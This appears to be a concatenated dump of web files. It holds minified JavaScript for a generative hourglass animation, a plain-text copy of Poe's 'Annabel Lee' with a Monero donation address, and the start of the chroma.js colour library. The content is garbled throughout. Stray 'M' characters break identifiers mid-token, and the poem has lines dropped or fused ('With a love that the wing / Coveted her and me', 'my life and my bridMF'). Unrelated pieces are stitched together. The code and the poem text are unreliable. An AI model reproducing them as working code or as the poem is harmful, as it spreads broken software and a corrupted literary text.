e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/plain;charset=utf-8
It was many and many a year ago,
   In a kingdom by the sea,
That a maiden there lived whom you may know
   By the name of Annabel Lee;
And this maiden she lived with no other thought
   Than to love and be loved by me.
I was a child and she was a child,
   In this kingdom by the sea,
But we loved with a love that was more than love
   I and my Annabel Lee
With a love that the wing
   Coveted her and me.
And this was the reason that, M
   In this kingdom by the sea,
A wind blew out of a cloud, chilling
   My beautiful Annabel Lee;
So that her highborn kinsmen came
   And bore her away from me,
To shut her up in a sepulchre
   In this kingdom by the sea.
The angels, not half so happy in Heaven,
   Went envying her and me
that was the reason (as all men know,
   In this kingdom by the sea)
That the wind came out of the cloud by night,
   Chilling and killing my Annabel Lee.
But our love it was stronger by far tM
   Of those who were older than we
   Of many far wiser than we
And neither the angels in Heaven above
   Nor the demons down under the sea
Can ever dissever my soul from the soul
   Of the beautiful Annabel Lee;
For the moon never beams, without bringing me dreams
   Of the beautiful Annabel Lee;
And the stars never rise, but I feel the bright eyes
   Of the beautiful Annabel Lee;
And so, all the night-tide, I lie down by the side
my life and my bridMF
   In her sepulchre there by the sea
   In her tomb by the sounding sea.
From poetryfoundation.org
Inscribed by etching.net
Support the preservation of knowledge and culture with Monero (XMR):
8BJ22Qyugx7Q5bxGYarK7TZ5GSwXiqWNRDRKvx2LLrnhgqGEhpG9XFEWd4z5PaJLFLM2CjbEC15wWVSdD3PKiKrD1RMVD6Nh!
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
